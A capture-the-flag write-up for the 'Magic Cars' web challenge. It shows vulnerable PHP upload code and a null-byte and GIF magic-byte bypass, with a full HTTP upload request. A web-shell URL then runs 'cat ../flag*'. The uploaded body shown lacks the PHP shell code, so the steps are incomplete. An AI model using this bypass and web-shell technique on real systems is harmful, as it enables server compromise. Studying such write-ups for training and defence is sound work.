Rating:

Given this code:

```
$extension = strtolower(pathinfo($target_dir,PATHINFO_EXTENSION));
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo,$files["tmp_name"]);
finfo_close($finfo);
if($extension != "gif" || strpos($type,"image/gif") === false){
echo " Sorry, only gif files are accepted";
$uploadOk = false;
}
$target_dir = strtok($target_dir,chr(0));
if($uploadOk && move_uploaded_file($files["tmp_name"],$target_dir)){
echo "uploaded gif here go see it!";
}
```

We can upload .php file using:

- `.gif` as the extension of file
- Contains magic bytes of GIF file (GIF87a/GIF89a) at beginning
- Contains null byte between `.php` and `.gif`

```
POST / HTTP/1.1
Host: 52.59.124.14:10021
Content-Type: multipart/form-data; boundary=---------------------------1013956662279462726520057537
Content-Length: 398

-----------------------------1013956662279462726520057537
Content-Disposition: form-data; name="fileToUpload"; filename="weweweww.php%00.gif"
Content-Type: application/octet-stream

GIF87a
-----------------------------1013956662279462726520057537
Content-Disposition: form-data; name="submit"

Upload
-----------------------------1013956662279462726520057537--
```

Then open `http://52.59.124.14:10021/images/weweweww.php?c=cat%20../flag*` to get the flag.

Original writeup (https://hackmd.io/@vidner/nullcon-sksd#Magic-Cars-web).